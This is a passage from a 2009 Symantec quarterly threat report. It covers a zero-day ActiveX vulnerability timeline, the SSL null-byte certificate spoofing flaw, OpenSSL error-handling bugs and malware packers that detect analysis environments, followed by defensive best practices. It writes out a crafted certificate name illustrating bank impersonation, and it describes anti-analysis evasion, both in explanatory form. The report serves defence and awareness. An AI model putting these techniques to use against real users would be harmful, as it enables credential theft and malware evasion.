measures on mitigating the dangers inherent in malicious code, please see Appendix A, Best Practices.
Timeline of a zero-day event
Newly discovered vulnerabilities that are as yet unpatched are commonly referred to as zero-day vulnerabilities. Exploiting
zero-day vulnerabilities in popular software is an increasingly common and serious threat. The Symantec honeynet
regularly captures the exploitation of such vulnerabilities in the wild. This section discusses an example of one such event
that took place on July 1, 2009 when Symantec honeypots detected a high-profile vulnerability that was being actively
exploited in the wild. The issue was determined to be a previously unknown vulnerability. 13The key areas of concern for
this section are the software flaw, the time elapsed before the vendor addressed it, and the time elapsed before public
exploits were developed after the discovery of the in-the-wild sample.
The software flaw
The vulnerability in question stems from a simple programming error in an ActiveX® control that can be initialized and
used in Internet Explorer. 14The attack scenario in this case is known as a drive-by attack, which occurs when an attacker
crafts a malicious website and then uses various techniques to entice or trick an unsuspecting user into visiting the
malicious site. When the user opens the site in the affected browser, the issue will be triggered without any additional user
interaction.
Initial vendor response
On July 6, 2009, Microsoft published an advisory to confirm the vulnerability and to provide workarounds until patches
could be made available for customers. 15The company also followed this with publication blog entries on July 6 and July 9
with further clarifications. 16Microsoft’s suggested solution for this issue was a common workaround approach used for
ActiveX issues, namely, setting a “killbit” for the vulnerable control. This workaround simply prevents the control from
being used in Internet Explorer, eliminating the vector used by attackers to trigger the issue. Microsoft also provided an
automated way of applying the workaround.
Vendor investigation and first security bulletin
With the disclosure of the CVE number assigned to this vulnerability, 17more questions started to arise regarding the issue
and when Microsoft was first notified about it. In the July 9 blog posting, the vendor attempted to answer these
questions. 18According to the post, Microsoft received the initial report from IBM® ISS X-Force® researchers in the early
spring of 2008 via the responsible vulnerability disclosure process, which gives researchers who find a vulnerability the
opportunity to work together with Microsoft to investigate the issue and provide a fix. Microsoft’s investigation revealed
that the control used by the attack was not the only possible vector and that more interfaces were affected by the
vulnerability. This was the main reason why the initial advisory for this issue and the security bulletin (MS09-032) that
followed shortly after it disabled many more ActiveX controls. On July 14, 2009, Microsoft released a security bulletin toSymantec Intelligence Quarterly
July - September, 2009
8address the vulnerability as a part of the vendor’s regular monthly updates. 19However, this bulletin provided only the
killbit workaround for the issue; patches would not be available until August 11, 2009.
Third-party investigations
As with many other high-profile unpatched vulnerabilities that are exploited in the wild, this issue has received a great
amount of media attention. One security researcher pointed out that the vulnerability might be much more serious than
initially believed. 20Microsoft later discovered that the potential impact of this vulnerability is limited and that components
written by other vendors may not be affected. A vulnerable header file that caused this issue was a part of a private
version of the ATL library used internally by Microsoft components. 21Most third-party vendors use the version of ATL
shipped with Visual Studio®, which, it was later confirmed, was not prone to this specific issue. Although this limits the
prevalence of the vulnerability, other products could still be vulnerable.
Second security bulletin
On August 11, 2009, Microsoft released a second security bulletin that specifically addressed the flaw by updating the
affected components and eliminating the vulnerability. 22This solution was not merely a workaround, but actually a fix to
the vulnerable software.
Public exploits
As is usually the case, shortly after the discovery of in-the-wild exploitation of the vulnerability, public exploits surfaced.
The first exploit was made publicly available on July 6, 2009, shortly after the first reports of the vulnerability and a few
hours before Microsoft published their first advisory. On the same day, Symantec saw the release of a commercial exploit
as well. On July 7, an exploit module for the Metasploit™ framework was released. The previous day, reports emerged
stating that this issue was being used in widespread attacks on thousands of websites.
13-http://www.microsoft.com/technet/security/advisory/972890.mspx
14-http://www.securityfocus.com/bid/35558
15-http://www.microsoft.com/technet/security/advisory/972890.mspx
16-See http://blogs.technet.com/msrc/archive/2009/07/06/microsoft-security-advisory-972890-released.aspx and http://blogs.technet.com/msrc/archive/2009/07/09/questions-about-timing-and-microsoft-security-
advisory-972890.aspx
17-CVE stands for Common Vulnerabilities and Exposures, a tracking system for security vulnerabilities that provides a unique identifier for each issue. The system is maintained by MITRE Corporation (http://cve.mitre.org/).
18-http://blogs.technet.com/msrc/archive/2009/07/09/questions-about-timing-and-microsoft-security-advisory-972890.aspx
19-http://www.microsoft.com/technet/security/bulletin/ms09-032.mspx
20-http://addxorrol.blogspot.com/2009/07/poking-around-msvidctldll.html
21-Visual Studio is a development environment that includes many libraries that developers can use in their applications. ATL is one set of such libraries.
22-http://www.microsoft.com/technet/security/Bulletin/MS09-037.mspxSymantec Intelligence Quarterly
July - September, 2009
9The following figure shows the significant events surrounding this issue.
Figure 1. Timeline of the vulnerability
Source: Symantec
Conclusions
Zero-day exploits pose a serious threat to both enterprises and individual end users. In-the-wild exploits can often
successfully bypass signature-based, issue-specific antivirus and malware protections. Such threats present real
challenges for system administrators, especially because they often target popular enterprise applications. Preventing
successful exploits requires a well-designed security model that involves multiple layers of security controls, the use of
best-practice security policies, and user awareness. Yet even the most secure environments may not guarantee complete
protection.
For software vendors, zero-day issues are no less challenging. The nature of such attacks means that the exploit is publicly
available or already being used in widespread or targeted attacks, putting software users at risk. To address the issue, the
vendor needs to acquire a sample of the exploit, investigate the vulnerability to determine its cause, prepare a fix (or
workaround), extensively test the fix, and finally deliver it to customers. Each of these activities involves a number of
issue-specific problems that need to be dealt with under pressure. In many cases, such vulnerabilities affect mission-Symantec Intelligence Quarterly
July - September, 2009
10critical applications and, thus, put even more responsibility on the vendor — the patched code must be of the same level
of quality as any other production-ready code.
In the case of the vulnerability discussed here, the amount of time that passed before the bug was patched supports the
fact that this was indeed a complex issue. After the first attacks were discovered, it took the vendor five days to provide an
initial automated solution and 13 days to extend this solution. After 41 days, patches were released to fully address the
issue. A patch cycle of this length is not surprising for such a complex issue.
This case also demonstrates how quickly attackers obtain exploit code and incorporate newly published exploits into
attacks and exploit frameworks. In only a matter of days, or even hours, details about a vulnerability and functional code
to exploit it can spread and be used in real attacks.
The number of security advisories, bulletins, and blog entries related to this vulnerability underscores the importance of
the communication between vendors and potentially affected customers. This includes out-of-cycle security releases that
occur outside of established patch cycles. Applying mitigation strategies and workarounds differs from deploying patches.
Any configuration change can have a significant impact on the expected system functionality. To maintain security,
administrators and users who deploy a solution must fully understand the consequences of their actions.
How secure are security protocols?
Encryption is a cornerstone of modern online security. Two encryption protocols are now in widespread use for secure
online communications between computers:
•Secure Sockets Layer (SSL) — an older protocol developed by Netscape® 23
•Transport Layer Security (TLS) — the successor to SSL 24
Both protocols are designed to prevent eavesdropping, tampering, or message forgery. For online banking and other
sensitive transactions, SSL/TLS is often used in conjunction with the Hypertext Transfer Protocol Secure (HTTPS) protocol.
Detecting and preventing network attacks against these protocols is critical because sensitive information is increasingly
being exchanged online.
This section examines some recent vulnerabilities that involve implementations of the SSL/TLS security protocols.
Studying these issues can shed some light on the potential shortcomings of secure online communications.
Two types of attack are of concern here:
•Passive attacks — the attacker is eavesdropping in the hopes of intercepting sensitive information being
passed between a victim’s computer and, say, a website.
•Active attacks — the attacker performs a “man-in-the-middle” attack to trick victims into thinking they are
interacting with a legitimate site, but are instead communicating with the attacker’s site.
Both security protocols are intended to prevent such attacks. SSL provides confidentiality for communications across the
Internet and may optionally provide authentication of the identity of both the user (client) and the website or computer
that the user is connected to (server). Secure identification is accomplished by having parties provide an identification
23-http://www.mozilla.org/projects/security/pki/nss/ssl/draft302.txtSymantec Intelligence Quarterly
July - September, 2009
11certificate. Both SSL and TLS support multiple standards for certificates. A certificate is essentially a piece of data that
one party presents to another so as to identify the sending party and also show that a third party with authority has
verified the certificate. Cryptographic methods are used to ensure that malicious parties cannot modify or forge
certificates without detection. One such standard, X.509 v3, 25is used for digital certificates and for certificate revocation
lists.
Some noteworthy vulnerabilities have recently emerged in SSL/TLS implementations. In July 2009, one security
researcher disclosed an interesting flaw in some implementations of SSL. The vulnerability allows attackers to
impersonate trusted servers. The issue occurs because of a discrepancy in how string types are represented between some
widely used Internet applications and identification certificates. The X.509 specification requires string data to be
represented as Pascal-style text strings, which are represented by the string length followed by the string data. In other
words, the Pascal language would represent the string "www.example.com" as "0x0Fwww.example.com" (the “0x0F” is a
hexadecimal representation of the number 15, announcing that the string holds 15 characters). In contrast, many SSL-
enabled applications implement string handling with C-language strings. A typical C string would look like a series of
characters terminated by a single NULL character (often represented as “0x00”).
Table 6. Variation in string representations
Source: Symantec
Unlike C strings, Pascal strings treat the NULL character just like any other character, so attackers can include them freely
in any field of a valid X.509 certificate. This seemingly innocuous difference in implementation means that vulnerable
applications fail to properly validate the domain name in a signed certificate. For example, an attacker can legitimately
own a domain name—e.g., "evilsite.com"—and can issue a Certificate Signing Request to a legitimate signing authority for
"www.yourbank.com0x00.evilsite.com". The Certificate Authority would ignore the prefix as a subdomain and, following
typical due diligence to ensure ownership of the domain, would issue a signed certificate for the "evilsite.com" name.
Then, when a vulnerable application requests a valid certificate, it will get one that identifies "evilsite.com," but because
the application compares the common name field of the certificate with C strings, it stops parsing the text when it gets to
the NULL character. What this means is that the attacker has a certificate that appears to be legitimate for
"www.yourbank.com." As far as the vulnerable applications are concerned, "www.yourbank.com0x00.evilsite.com" and
"www.yourbank.com" are equivalent. An attacker in a man-in-the-middle attack could use such a certificate while an
unsuspecting victim visits what looks like a legitimate online banking site, but is actually a site under the attacker's
control. No warnings will appear in the user’s browser, but the attacker will have full access to any authentication
credentials or financial transactions performed.
A significant number of applications have been vulnerable to this issue, including Mozilla Firefox®, Thunderbird®, and
SeaMonkey®; 26the Qt® development framework; 27Fetchmail; 28Mutt; 29KDE; 30Wget; 31GnuTLS; 32Neon; 33and cURL/libcURL. 34
Other applications may also be affected.
24-http://www.ietf.org/rfc/rfc2246.txt
25-http://www.ietf.org/rfc/rfc2459.txt
26-http://www.securityfocus.com/bid/35888
27-http://www.securityfocus.com/bid/36203Symantec Intelligence Quarterly
July - September, 2009
12How tiny programming errors can have a huge impact
When a computer program calls a subroutine or function to perform a specific task, the function will send a return value
back to the calling program so as to report the status of the operation. The return value is usually “1” (success), “0”
(failure), or “-1” (an error occurred). In the C programming language, integers can also be interpreted as Boolean (true or
false) values. The relation between these uses is described in the following table:
Table 7. Possible return values
Source: Symantec
Vulnerabilities can be introduced when programs directly interpret return values as a Boolean result. In this case, an
application may lump error conditions in with successful results and thus fail to recognize or properly handle the errors.
Such is the case with two functions from the OpenSSL library that are misused by a number of applications (including
OpenSSL itself). The two functions are used to test the validity of SSL/TLS certificates. 35The most likely security impact in
this case is that invalid or malformed certificates will be accepted as valid by vulnerable applications. The impact of this
error-handling mistake may vary depending on the application and its environment. Here are some possible example
outcomes:
1.Certificates can be used to verify the identity of a Web server, such as an HTTPS connection to a banking site.
If the vulnerability lets invalid certificates avoid detection, attackers may be able to launch man-in-the-middle
attacks on the traffic between the user and the banking site and intercept or modify financial transactions so
as to obtain passwords or modify dollar values of legitimate transactions.
2.Certificates can be used to digitally sign content such as legal documents. If invalid signatures are accepted
when the contract is initially signed, malicious parties may be able to legally deny having signed the
document, possibly avoiding contractual obligations.
3.Software upgrades are frequently signed to ensure that they originate from the vendor. If invalid signatures go
undetected, attackers may be able to perform man-in-the-middle attacks against software upgrade
mechanisms and install malware on a victim’s computer during an upgrade session.
A similar issue was reported in the OpenSSL library itself, this time in the handling of the CMS_verify() function, which is
used to validate SSL/TLS signatures. 36Yet another similar vulnerability was discovered in the Ruby programming
language. 37In that case, the misused function was OCSP_basic_verify(), which is involved in testing the validity of a
certificate using the Online Certificate Status Protocol (OCSP). The OCSP protocol is used to query a certificate authority
to discover the revocation status of a particular certificate. Revocation is a method by which a legitimate certificate later
28-http://www.securityfocus.com/bid/35951
29-http://www.securityfocus.com/bid/36251
30-http://www.securityfocus.com/bid/36229
31-http://www.securityfocus.com/bid/36205
32-http://www.securityfocus.com/bid/35952
33-http://www.securityfocus.com/bid/36079
34-http://www.securityfocus.com/bid/36032
35-http://www.securityfocus.com/bid/33150 and http://www.securityfocus.com/bid/33151Symantec Intelligence Quarterly
July - September, 2009
13deemed to be untrustworthy can be flagged as invalid. In this case, the vulnerability could result in an OCSP query that
should return an error, but instead ends up treating a faulty certificate as valid.
As an example, this issue may allow an attacker with access to a malicious certificate to interfere with protective
countermeasures. Despite detection, the attacker may be able to continue to present the malicious certificate to clients by
interfering with the OCSP revocation process.
How to protect against SSL/TLS vulnerabilities
Detecting and preventing these vulnerabilities is difficult because the errors involve bypassing the normal checks applied
to cryptographic measures. Compounding this, end users may not have a sophisticated understanding of the technologies
involved.
To detect invalid or crafted certificates, administrators may be able to manually inspect certificates or use a trusted piece
of software to inspect suspect certificates. Man-in-the-middle attacks by definition require an attacker to have access to
network traffic. In the case of internal applications, defense-in-depth strategies can help mitigate these issues by blocking
attackers at the network boundary or by detecting suspicious network traffic. Spoofing attacks require that attackers
replicate trusted Web pages. In practice, the quality of spoofed pages is often not very convincing and observant users
may be able to detect that something looks “wrong” and to halt transactions before an attack can succeed. Users may also
rely on security software providing features such as black lists or reputation-based rankings to help identify fake sites.
Why attackers use packers
Malware metrics collected over the years illustrate how malware has evolved. 38This evolution concerns several aspects of
malware, including threat type, attack vectors, purpose of the code, and defense mechanisms.
Malware defense mechanisms have been strongly driven by the evolution of antimalware technologies. Nowadays,
malware authors equip malicious code with defenses to increase its chances of surviving in the wild. The authors are
helped by the increasing availability of free and commercial tools that automate the process of protecting malicious
code. 39With such tools readily available, malware authors can easily armor their code even when lacking the technical
knowledge. This gives most current malware some level of protection against detection.
Early defenses used by malicious code were aimed at avoiding detection by antimalware engines. For example, signature-
based detection works by associating known malicious patterns in the code with a certain threat. To determine whether an
executable is a known threat, the antimalware tool scans that executable for the known suspicious patterns in the code.
Some pieces of malware use encryption to avoid signature-based detection. The malware is encrypted with a different key
each time it propagates, ensuring that different versions of the same threat have few detectable sequences in common.
More recently, malware writers started employing a set of defenses designed for another purpose—obfuscating the
functionality of malware. By hiding its presence on a computer, the malware can stealthily function without being
detected. To determine the right methods of detection, protection, and removal of malware, security software must
understand the functionality of malware. For example, if a Trojan contacts a specific set of IP addresses, the security
software needs to learn those addresses so that it can immediately mitigate the threat by blocking the malicious IPs.
36-http://www.securityfocus.com/bid/34256
37-http://www.securityfocus.com/bid/33769
38-Packers are tools used to decrease the size of a program.
39-Piotr Bania, “Generic Unpacking of Self-modifying, Aggressive, Packed Binary Programs,” 2009. http://piotrbania.com/all/articles/pbania-dbi-unpacking2009.pdfSymantec Intelligence Quarterly
July - September, 2009
14It is common practice among security analysts to study widespread high-risk malicious code to better understand their
functionality and, thus, to design better protective measures against threats. At the same time, malware authors are
developing increasingly sophisticated mechanisms to obfuscate malware functionality, hinder its analysis, and thus
postpone the deployment of effective protection. The goal of malware mechanisms is to extend the time between the
initial compromise and the availability of effective protection.
One such technique, packing, is commonly used by modern malware. Packers are tools that were originally used by
legitimate software to decrease the size of the final program. Packing happens in two stages: the program is compressed
(packed) and then a decompression routine is attached. The resulting executable contains all the functionality of the
original program, but is smaller. When the resulting executable is run, it first invokes the decompression routine, which is
in charge of restoring the original program so that it can run normally on the computer.
Packing malicious code can be useful to attackers in a number of ways. First, a packed executable is smaller, which is
important where size is an issue (for example, a small piece of malware may propagate more easily without being
detected). Second, packing allows attackers to modify the structure of their code quickly, without changing its behavior.
This makes signature-based detection more difficult. Third, packers force security researchers to undergo an additional
step in analyzing malware by forcing researchers to unpack the program before reaching the core functionality to be
studied.
The difficulty of unpacking depends on the packer in use. Much malware is packed with common packers, such as UPX 40or
PECompact. 41These packers are now quite well understood by the security community, so programs that are packed with
them can be relatively easily unpacked. Currently, antimalware solutions can automatically unpack programs made by
some of these packers and then study the code to determine its purpose. The use of such common packers generally does
not hinder malware analysis. Custom packers, on the other hand, can complicate analysis, because unpacking code that
was made with an unknown packer is more difficult, especially when the intent is to decompress the code automatically.
Furthermore, custom packers that are specifically designed to pack malware can be armored with active methods of
hindering program analysis. For example, some packers are designed to determine whether the program is running in the
wild or is being analyzed in a lab environment. In the former case, the malicious code gets executed as intended. In the
latter case, the code might modify its behavior so as to obfuscate its functionality.
To determine whether a piece of malware is being analyzed, packers can recognize that the environment of an analyzed
program differs from that of a program running in the wild. For example, antivirus software might run suspicious code
within a dedicated virtual machine, 42or a malware analyst might run the code in a debugger. 43In both cases, special
behavior of certain instructions or special values of certain memory locations are signs that the code is running within a
dedicated environment and not in the wild. 44
A good example of malware that uses an armored packer is Trojan.Clampi, 45which has been actively spreading since July
1, 2009. This Trojan is protected using the commercially available VMProtect packer. 46A distinguishing feature of this
packer is that it does not follow the usual packing model, where the source code of the original program is left intact and
can be restored. Instead, VMProtect uses its own virtual environment and interpreter to execute the program. More
specifically, during the packing process, the instructions of the original program are recorded in an intermediate language
accepted by the packer’s interpreter. When the program is executed, VMProtect will run the original program within itsSymantec Intelligence Quarterly
July - September, 2009
15own virtual environment by interpreting and executing its instructions. This means that the control of execution stays with
the packer and is never passed to the original program. Also, the instructions of the original program are never assembled
together.
VMProtect's obfuscation technique of using its own VM environment is but one method that packers can use to confound
analysis. 47Currently, these protections often eliminate the possibility of automatic malware analysis, making static
analysis difficult and time consuming. As modern packers become increasingly sophisticated at hindering automatic and
manual analysis, security software must deploy sophisticated countermeasures such as reputation-based methods that go
beyond conventional signature-based detection and can better protect users from such threats.
Protection and Mitigation
There are a number of measures that enterprises, administrators, and end users can employ to protect against malicious
activity and other Internet threats. Organizations should monitor all network-connected computers for signs of malicious
activity, including bot activity and potential security breaches, ensuring that any infected computers are removed from the
network and disinfected as soon as possible.
Organizations should employ defense-in-depth strategies, including the deployment of the most current antivirus software
and a firewall. 48Using a firewall can also prevent threats that send information back to the attacker from opening a
communication channel. Administrators should update antivirus definitions regularly to protect against the high quantity
of new malicious code threats and ensure that all desktop, laptop, and server computers are updated with all necessary
security patches from their operating system vendor. IDS, IPS, and other behavior-blocking technologies should also be
employed to prevent compromise by new threats. Administrators should also keep patch levels up to date, especially on
computers that host public services and applications—such as HTTP, FTP, SMTP, and DNS servers—and that are
accessible through a firewall or placed in a DMZ. As compromised computers can be a threat to other systems, Symantec
also recommends that enterprises notify their ISPs of any potentially malicious activity.
Symantec recommends that organizations perform both ingress and egress filtering on all network traffic to ensure that
malicious activity and unauthorized communications are not taking place. Organizations should also filter out potentially
malicious email attachments to reduce exposure to enterprises and end users. Email servers should be configured to only
allow file attachment types that are required for business needs and to block email that appears to come from within the
company, but that actually originates from external sources.
Organizations could also consider using domain-level or email authentication in order to verify the actual origin of an
email message. This can protect against phishers who are spoofing email domains. 49Organizations can also employ Web-
server log monitoring to track if and when complete downloads of their websites, logos, and images are occurring. Such
activity may indicate that someone is attempting to use the legitimate website to create an illegitimate website for
phishing.
40-http://upx.sourceforge.net/
41-http://www.bitsum.com/pecompact.shtml
42-A virtual machine (VM) is software that emulates a computer. A VM can run an operating system as well as applications as if they were running on an actual physical computer.
43-A debugger is a special program for locating flaws in a piece of code.
44-Xu Chen, et al., “Towards an Understanding of Anti-virtualization and Anti-debugging Behavior in Modern Malware,” Proceedings of DSN-DCCS 2008. http://www.eecs.umich.edu/~zmao/Papers/DCCS-xu-chen.pdf
45-http://www.symantec.com/security_response/writeup.jsp?docid=2008-011616-5036-99
46-http://www.vmprotect.ru/
47-Rolf Rolles, “Unpacking Virtualization Obfuscators,” 2009. http://www.usenix.org/events/woot09/tech/full_papers/rolles.pdf
48-Defense-in-depth emphasizes multiple, overlapping, and mutually supportive defensive systems to guard against single-point failures in any specific technology or protection methodology. Defense-in-depth should
include the deployment of antivirus, firewalls, and intrusion detection systems (IDS), among other security measures.Symantec Intelligence Quarterly
July - September, 2009
16The use of antiphishing toolbars and components in Web browsers can also help protect users from phishing attacks.
These measures notify the user if a Web page being visited does not appear to be legitimate. This way, even if a phishing
email reaches a user’s inbox, the user can still be alerted to the potential threat.
Symantec also advises that users never view, open, or execute any email attachment unless the attachment is expected
and comes from a known and trusted source, and unless the purpose of the attachment is known. By creating and
enforcing policies that identify and restrict applications that can access the network, organizations can minimize the
effect of malicious activity, and hence, minimize the effect on day-to-day operations. Also, administrators should limit
privileges on systems for users that do not require such access and they should also restrict unauthorized devices, such as
external portable hard-drives and other removable media.
Users should review bank, credit card, and credit information frequently. This can provide information on any irregular
activities. For further information, the Internet Fraud Complaint Center (IFCC) has also released a set of guidelines on how
to avoid internet-related scams. 50Additionally, network administrators can review Web proxy logs to determine if any
users have visited known phishing sites.
Consumers could also take more security precautions to ensure that their information will not be compromised. When
conducting higher-risk Internet activities, such as online banking or purchases, consumers should do so only on their own
computers and not public ones. Further, they should not store passwords or bank card numbers. They should also avoid
following links from within messages (whether in email, instant messages, online forums, etc.) as these may be links to
spoofed websites; instead, they should manually type in the URL of the website. Also, consumers should be aware of the
amount of personal information that they post on the Internet, as criminals may take advantage of this public information
in malicious activities such as phishing scams.
49-Spoofing refers to instances where phishers forge the “From:” line of an email message using the domain of the entity they are targeting with the phishing attempt.
50-http://www.fbi.gov/majcases/fraud/internetschemes.htmSymantec Intelligence Quarterly
July - September, 2009
17Appendix A—Best Practices
Enterprise best practices
•Employ defense-in-depth strategies, which emphasize multiple, overlapping, and mutually supportive
defensive systems to guard against single-point failures in any specific technology or protection method. This
should include the deployment of regularly updated antivirus, firewalls, intrusion detection, and intrusion
protection systems on client systems.
•Turn off and remove services that are not needed.
•If malicious code or some other threat exploits one or more network services, disable or block access to those
services until a patch is applied.
•Always keep patch levels up to date, especially on computers that host public services and are accessible
through the firewall, such as HTTP, FTP, email, and DNS services.
•Consider implementing network compliance solutions that will help keep infected mobile users out of the
network (and disinfect them before rejoining the network).
•Enforce an effective password policy.
•Configure mail servers to block or remove email that contains file attachments that are commonly used to
spread viruses, such as .VBS, .BAT, .EXE, .PIF, and .SCR files.
•Isolate infected computers quickly to prevent the risk of further infection within the organization.
•Perform a forensic analysis and restore the computers using trusted media.
•Train employees to not open attachments unless they are expected and come from a known and trusted
source, and to not execute software that is downloaded from the Internet unless it has been scanned for
viruses.
•Ensure that emergency response procedures are in place. This includes having a backup-and-restore solution
in place in order to restore lost or compromised data in the event of successful attack or catastrophic data
loss.
•Educate management on security budgeting needs.
•Test security to ensure that adequate controls are in place.
•Be aware that security risks may be automatically installed on computers with the installation of file-sharing
programs, free downloads, and freeware and shareware versions of software.
•Clicking on links and/or attachments in email messages (or IM messages) may also expose computers to
unnecessary risks. Ensure that only applications approved by the organization are deployed on desktop
computers.Symantec Intelligence Quarterly
July - September, 2009
18Consumer best practices
•Use an Internet security solution that combines antivirus, firewall, intrusion detection, and vulnerability
management for maximum protection against malicious code and other threats.
•Ensure that security patches are up to date and that they are applied to all vulnerable applications in a timely
manner.
•Ensure that passwords are a mix of letters and numbers, and change them often. Passwords should not
consist of words from the dictionary.
•Never view, open, or execute any email attachment unless the attachment is expected and the purpose of the
attachment is known.
•Keep virus definitions updated regularly. By deploying the latest virus definitions, you can protect your
computer against the latest viruses known to be spreading in the wild.
•Routinely check to see if your operating system is vulnerable to threats by using Symantec Security Check at
www.symantec.com/securitycheck.
•Deploy an antiphishing solution. Also, never disclose any confidential personal or financial information unless
and until you can confirm that any request for such information is legitimate.
•Get involved by tracking and reporting attack attempts. With Symantec Security Check’s tracing service, users
can quickly identify the location of potential hackers and forward the information to the attacker’s ISP or local
police.
•Be aware that security risks may be automatically installed on computers with the installation of file-sharing
programs, free downloads, and freeware and shareware versions of software.
•Avoid clicking on links and/or attachments in email or IM messages, as these may also expose computers to
unnecessary risks.
•Read end-user license agreements (EULAs) carefully and understand all terms before agreeing to them as
some security risks can be installed after an end user has accepted the EULA or as a consequence of that
acceptance.
•Be aware of programs that flash ads in the user interface. Many spyware programs track how users respond to
these ads, and their presence is a red flag. These ads may be spyware.Symantec Intelligence Quarterly
July - September, 2009
19Appendix B—Methodologies
Metrics in this report are based on the analysis of data derived from the Symantec Global Intelligence Network, which
includes the Symantec DeepSight Threat Management System, Symantec Managed Security Services, the Symantec
Honeypot Network, and proprietary Symantec technologies. Symantec combines data derived from these sources for
analysis.
Malicious activity by country
To determine the top countries for this metric, Symantec compiles geographical data on each type of malicious activity to
be considered, namely: bot-infected computers, phishing website hosts, malicious code reports, spam zombies, and attack
origin. The proportion of each activity originating in each country is then determined. The mean of the percentages of each
malicious activity that originates in each country is calculated. This average determines the proportion of overall malicious
activity that originates from the country in question and the rankings are determined by calculating the mean average of
the proportion of these malicious activities that originated in each country.
Top Web-based attacks
To evaluate this metric, Symantec identifies each distinct attack delivered via the Web, hereafter referred to as Web-based
attack, hosted on malicious websites that are detected by intrusion prevention technology. A Web-based attack is any
attack that is carried out against a client-side application originating from the Web. Symantec determines the top Web-
based attacks based by determining the most common attacks carried out against users. Due to the nature of Web-based
attacks, the total number of attacks carried out is a good measure of the success and popularity of the attack.
Each attack discussed targets a specific vulnerability or weakness in Web browsers or other client-side applications that
process content originating from the Web. These attacks can vary in their delivery methods; some rely on misleading a
user into downloading a malicious file, while others occur without any knowledge or interaction by the user.
Malicious code metrics
Malicious code trends are based on statistics from malicious code samples reported to Symantec for analysis. The data is
gathered from over 130 million client, server, and gateway systems that have deployed the Symantec antivirus products in
both consumer and corporate environments. The Symantec Digital Immune System and Scan and Deliver technologies
allow customers to automate this reporting process. Observations in this section are based on empirical data and expert
analysis of this data. The data and analysis draw primarily from the two databases described in the following:Symantec Intelligence Quarterly
July - September, 2009
20•Infection database : Symantec developed the Symantec AntiVirus research Automation (SARA) technology to
help detect and eradicate computer viruses. This technology is used to analyze, replicate, and define a large
subset of the most common computer viruses that are quarantined by Symantec Antivirus customers. On
average, SARA receives hundreds of thousands of suspect files daily from both enterprise and individual
consumers located throughout the world. Symantec then analyzes these suspect files, matching them with
virus definitions. An analysis of this aggregate data set provides statistics on infection rates for different types
of malicious code.
•Malicious code database : In addition to infection data, Symantec Security Response analyzes and documents
attributes for each new form of malicious code that emerges both in the wild and in a “zoo” (or controlled
laboratory) environment. Descriptive records of new forms of malicious code are then entered into a database
for future reference. For this report, a historical trend analysis was performed on this database to identify,
assess, and discuss any possible trends, such as the use of different infection vectors and the frequency of
various types of payloads. In some cases, Symantec antivirus products may initially detect new malicious code
heuristically or by generic signatures. These may later be reclassified and given unique detections.
Underground economy servers—goods and services available for sale
This metric is based on data that is gathered by proprietary Symantec technologies that observe activity on underground
economy servers and collect data. Underground economy servers are typically chat servers on which stolen data, such as
identities, credit card numbers, access to compromised computers, and email accounts are bought and sold. Each server
is monitored by recording communications that take place on them, which typically includes advertisements for stolen
data. This data is used to derive the data presented in this metric. It should be noted that this discussion might not
necessarily be representative of internet-wide activity; rather, it is intended as a snapshot of the activity that Symantec
observed during this period.
Description of goods and services advertised on underground economy servers may vary from vendor to vendor. The
following list shows typical goods and services that are found on these servers and general descriptions of each:Symantec Intelligence Quarterly
July - September, 2009
21•Bank account credentials : may consist of name, bank account number (including transit and branch
number), address, and phone number. Online banking logins and passwords are often sold as a separate item.
•Cash-out services : a withdrawal service where purchases are converted into true currency. This could be in
the form of online currency accounts or through money transfer systems and typically, the requester is
charged a percentage of the cash-out value as a fee.
•Credit card dumps : the information contained within the magnetic stripe on the back of a credit card, which
is itself made up of two tracks: while both tracks contain the primary account number and expiration date,
only the first track will contain the cardholder name.
•Credit card information : includes credit card number and expiry date. It may also contain the cardholder
name, Credit Verification Value 2 (CVV2) number, pin, billing address, phone number, and company name (for
a corporate card). CVV2 is a three- or four-digit number on the credit card and used for card-not-present
transactions such as Internet or phone purchases. This was created to add an extra layer of security for credit
cards and to verify that the person completing the transaction was in fact, in possession of the card.
•Email accounts : includes user ID, email address, password. In addition, the account may contain personal
information such as addresses, other account information, and email addresses in the contact list.
•Email addresses : consists of lists of email addresses used for spam or phishing activities. The email
addresses can be harvested from hacking databases, public sites on the Internet, or from stolen email
accounts.
•Full identities : may consist of name, address, date of birth, phone number, and government-issued number.
It may also include extras such as driver’s license number, mother’s maiden name, email address, or “secret”
questions/answers for password recovery.
•Mailers : an application that is used to send out mass emails (spam) for phishing attacks. Examples of this are
worms and viruses.
•Scams : vendors create and sell malicious Web pages or email letters that pose as legitimate pages for
phishing scams. They also offer services for hosting the pages, usually priced per week, given the transitory
lifespan of many phishing sites.
•Web-based attack tools : consists of tools that can be used to launch or mount Web-based attacks. These can
include prepackaged toolkits, SQL injection tools, or scanners.
Phishing and spam metrics
Phishing and spam attack trends in this report are based on the analysis of data captured through the Symantec Probe
Network, a system of more than 2.5 million decoy accounts, MessageLabs Intelligence, and other Symantec technologies
in more than 86 countries from around the globe. Over eight billion email messages, as well as over one billion Web
requests, are scanned per day across 16 data centers. Symantec also gathers phishing information through an extensive
antifraud community of enterprises, security vendors and more than 50 million consumers.
The Symantec Probe Network data is used to track the growth in new phishing activity. It should be noted that different
monitoring organizations use different methods to track phishing attempts. Some groups may identify and count uniqueSymantec Intelligence Quarterly
July - September, 2009
22phishing messages based solely on specific content items such as subject headers or URLs. These varied methods can
often lead to differences in the number of phishing attempts reported by different organizations.
Symantec Brightmail AntiSpam data is also used to gauge the growth in phishing attempts as well as the percentage of
Internet mail determined to be phishing attempts. Data returned includes messages processed, messages filtered, and
filter-specific data.
Symantec has classified different filters so that spam statistics and phishing statistics can be determined separately.
Symantec Brightmail AntiSpam field data includes data reported back from customer installations providing feedback
from antispam filters as well as overall mail volume being processed.
Symantec Brightmail AntiSpam only gathers data at the SMTP layer and not the network layer, where DNS block lists
typically operate because SMTP-layer spam filtering is more accurate than network-layer filtering and is able to block
spam missed at the network layer. Network layer-filtering takes place before email reaches the enterprise mail server. As a
result, data from the SMTP layer is a more accurate reflection of the impact of spam on the mail server itself.
Due to the numerous variables influencing a company’s spam activity, Symantec focuses on identifying spam activity and
growth projections with Symantec Brightmail AntiSpam field data from enterprise customer installations having more
than 1,000 total messages per day. This normalization yields a more accurate summary of Internet spam trends by ruling
out problematic and laboratory test servers that produce smaller sample sets.
Phishing activity by sector
The Symantec Phish Report Network (PRN) is an extensive antifraud community whose members contribute and receive
fraudulent website addresses for alerting and filtering across a broad range of solutions. These sites are categorized
according to the brand being phished and its sector. PRN members and contributors send in phishing attacks from many
different sources. This includes a client detection network that detects phishing websites as the clients visit various
